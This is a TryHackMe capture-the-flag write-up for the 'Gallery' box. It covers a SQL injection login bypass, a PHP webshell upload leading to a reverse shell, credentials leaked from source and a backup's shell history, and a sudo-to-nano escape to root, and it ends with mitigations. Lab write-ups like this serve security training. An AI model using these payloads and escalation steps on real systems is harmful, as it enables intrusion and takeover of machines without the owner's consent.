# TryHackMe: Gallery Writeup

## Summary

Gallery is a Linux box running a "Simple Image Gallery System" PHP application on port 8080. The login form is vulnerable to a classic SQL injection auth bypass, which grants admin access. The admin profile page allows an avatar upload with no file-type restriction, enabling a PHP webshell upload and remote code execution as `www-data`. Database credentials recovered from the source lead to the `gallery_db` MySQL instance, and a world-readable backup of a user's `.bash_history` leaks a plaintext password for the user `mike`. Once logged in as `mike`, a misconfigured sudo rule allows running `/opt/rootkit.sh` as root with no password; the script shells out to `nano` as root, which is abused as a GTFOBin to spawn a root shell.

## 1. Recon

```
rustscan -a <MACHINE_IP> --ulimit 5000
```

```
Open <MACHINE_IP>:22
Open <MACHINE_IP>:80
Open <MACHINE_IP>:8080
```

```
nmap -A <MACHINE_IP> -p 22,80,8080 -oN gallery-nmap
```

```
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Simple Image Gallery System
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
```

Port 80 is the stock Apache default page (nothing of interest). Port 8080 redirects to `/gallery/login.php`:

```html
<script>location.href="http://<MACHINE_IP>/gallery/./login.php"</script>
```

This revealed the real document root is `/gallery/` under the port-80 vhost, and the app is "Simple Image Gallery System" by `oretnom23`, v1.0.

## 2. SQL Injection Auth Bypass

The login form posts a username and password to `login.php`. Supplying a classic boolean-based injection in the username field bypasses authentication entirely:

- Username: `' or 1=1-- -`
- Password: anything (`1234` used here)

This logged straight in as the first user in the `users` table, the admin account, confirming the login query is unparameterized and string-concatenated.

## 3. Admin Panel -> Arbitrary File Upload -> RCE

Once authenticated as admin, the profile page at `?page=user` exposes an avatar upload field with no server-side extension or content-type validation. Uploading a PHP webshell as the avatar is accepted and stored under `uploads/`, and is directly reachable and executable from the web root. The avatar is rendered back into the admin UI itself, so after submitting the update, simply reloading the page (or navigating back to the dashboard) is enough to load the uploaded avatar and trigger execution - no need to browse to the file path directly. A listener was staged first:

```
penelope listen -p 4444
```

Triggering the shell gave an interactive callback:

```
[+] [New Reverse Shell] => ip-<MACHINE_IP> <MACHINE_IP> Linux-x86_64  www-data(33)  Session ID <1>
www-data@ip-<MACHINE_IP>:/$ whoami
www-data
www-data@ip-<MACHINE_IP>:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

## 4. Source Review and Database Access

Reading the application source confirmed the injection point and surfaced database credentials:

```
www-data@ip-<MACHINE_IP>:/var/www/html/gallery$ cat initialize.php
$dev_data = array('id'=>'-1','firstname'=>'Developer','lastname'=>'','username'=>'dev_oretnom','password'=>'5da283a2d990e8d8512cf967df5bc0d0', ... );
if(!defined('DB_SERVER')) define('DB_SERVER',"localhost");
if(!defined('DB_USERNAME')) define('DB_USERNAME',"gallery_user");
if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"passw0rd321");
if(!defined('DB_NAME')) define('DB_NAME',"gallery_db");
```

Using these credentials directly against the local MySQL instance (binding only to `127.0.0.1:3306`) worked even though the same creds failed when the shell's effective user didn't match what MySQL expected over the socket:

```
www-data@ip-<MACHINE_IP>:/var/www$ mysql -u gallery_user -p'passw0rd321' -h 127.0.0.1 -e "use gallery_db; select * from users;"
+----+--------------+----------+----------+----------------------------------+
| id | firstname    | lastname | username | password                         |
+----+--------------+----------+----------+----------------------------------+
|  1 | Adminstrator | Admin    | admin    | a228b12a08b6527e7978cbe5d914531c |
+----+--------------+----------+----------+----------------------------------+
```

This confirms the admin table entry used in the SQLi bypass, though database access doesn't directly advance privilege escalation on its own.

## 5. Local Enumeration and Lateral Movement to mike

```
www-data@ip-<MACHINE_IP>:/var$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:ubuntu:/home/ubuntu:/bin/bash
mike:x:1001:1001:mike:/home/mike:/bin/bash
```

`/home/mike` itself wasn't readable, but a backup copy of the home directory was world-readable:

```
www-data@ip-<MACHINE_IP>:/var$ ls -la /var/backups/mike_home_backup/
-rwxr-xr-x 1 root root  135 May 24  2021 .bash_history
```

```
www-data@ip-<MACHINE_IP>:/var$ cat /var/backups/mike_home_backup/.bash_history
cd ~
ls
ping 1.1.1.1
cat /home/mike/user.txt
cd /var/www/
ls
cd html
ls -al
cat index.html
sudo -lb3stpassw0rdbr0xx
clear
sudo -l
exit
```

The line `sudo -lb3stpassw0rdbr0xx` is mike typing his sudo password straight after `sudo -l` without a space (the shell echoed it back into history as one token). The password is `b3stpassw0rdbr0xx`.

```
www-data@ip-<MACHINE_IP>:/var$ su mike
Password: 
mike@ip-<MACHINE_IP>:/var$ cd ~
mike@ip-<MACHINE_IP>:~$ cat user.txt
THM{REDACTED}
```

## 6. Privilege Escalation: sudo rootkit.sh -> nano GTFOBin

```
mike@ip-<MACHINE_IP>:~$ sudo -l
User mike may run the following commands on ip-<MACHINE_IP>:
    (root) NOPASSWD: /bin/bash /opt/rootkit.sh
```

```
mike@ip-<MACHINE_IP>:~$ cat /opt/rootkit.sh
#!/bin/bash

read -e -p "Would you like to versioncheck, update, list or read the report ? " ans;

case $ans in
    versioncheck)
        /usr/bin/rkhunter --versioncheck ;;
    update)
        /usr/bin/rkhunter --update;;
    list)
        /usr/bin/rkhunter --list;;
    read)
        /bin/nano /root/report.txt;;
    *)
        exit;;
esac
```

The `read` branch opens `/root/report.txt` in `nano` as root. Modern nano supports executing a command and piping its output into the buffer (`Ctrl+R`, `Ctrl+X`), which runs as the nano process's user - root here:

```
mike@ip-<MACHINE_IP>:~$ sudo /bin/bash /opt/rootkit.sh
Would you like to versioncheck, update, list or read the report ? read
```

Inside nano: `Ctrl+R` -> `Ctrl+X` -> `Execute Command` prompt -> entered:

```
reset; sh 1>&0 2>&0
```

This spawned an interactive root shell inside the nano session:

```
# whoami
root
# cd /root
# ls
report.txt  root.txt
# cat root.txt
THM{REDACTED}
```

## Key Vulnerabilities

| # | Vulnerability | Location | Impact |
|---|---|---|---|
| 1 | SQL injection, auth bypass | `login.php` | Unauthenticated admin login |
| 2 | Unrestricted file upload | Admin profile avatar upload (`?page=user`) | PHP webshell upload -> RCE as `www-data` |
| 3 | Hardcoded DB credentials in source | `initialize.php` | Full access to `gallery_db` |
| 4 | World-readable backup with plaintext password in shell history | `/var/backups/mike_home_backup/.bash_history` | Credential disclosure, lateral movement to `mike` |
| 5 | Overly permissive sudo rule + GTFOBin (`nano`) | `sudo -l` -> `/opt/rootkit.sh` -> `nano` | Privilege escalation to root |

## Attack Chain

```
Nmap scan (22, 80, 8080)
        │
        ▼
Simple Image Gallery System on :8080
        │
        ▼
SQL injection auth bypass (' or 1=1-- -)
        │
        ▼
Logged in as admin
        │
        ▼
Unrestricted avatar upload -> PHP webshell
        │
        ▼
RCE as www-data (reverse shell)
        │
        ▼
initialize.php leaks DB creds -> gallery_db confirmed
        │
        ▼
/var/backups/mike_home_backup/.bash_history leaks mike's password
        │
        ▼
su mike -> user.txt
        │
        ▼
sudo -l: NOPASSWD /opt/rootkit.sh
        │
        ▼
rootkit.sh -> nano /root/report.txt (as root)
        │
        ▼
nano Execute Command GTFOBin -> root shell
        │
        ▼
root.txt
```

## Mitigations

- Use parameterized queries / prepared statements for all authentication and data-access code; never concatenate user input into SQL.
- Validate uploaded files server-side by content (magic bytes) and re-encode images rather than trusting the filename extension; store uploads outside the webroot or in a directory with PHP execution disabled.
- Never hardcode database credentials in application source; use environment variables or a secrets manager, and keep source out of the web-accessible document root.
- Ensure backup archives and directories preserve the original ownership and permission model of the files they contain; a backup should never be more permissive than the source it was taken from. Avoid persisting shell history files with credentials at all.
- Scope sudo rules to the minimum necessary; avoid NOPASSWD wrappers around scripts that shell out to interactive, full-featured editors like `nano`, `vim`, `less`, etc. Use `sudoedit` or a restricted editor mode instead.
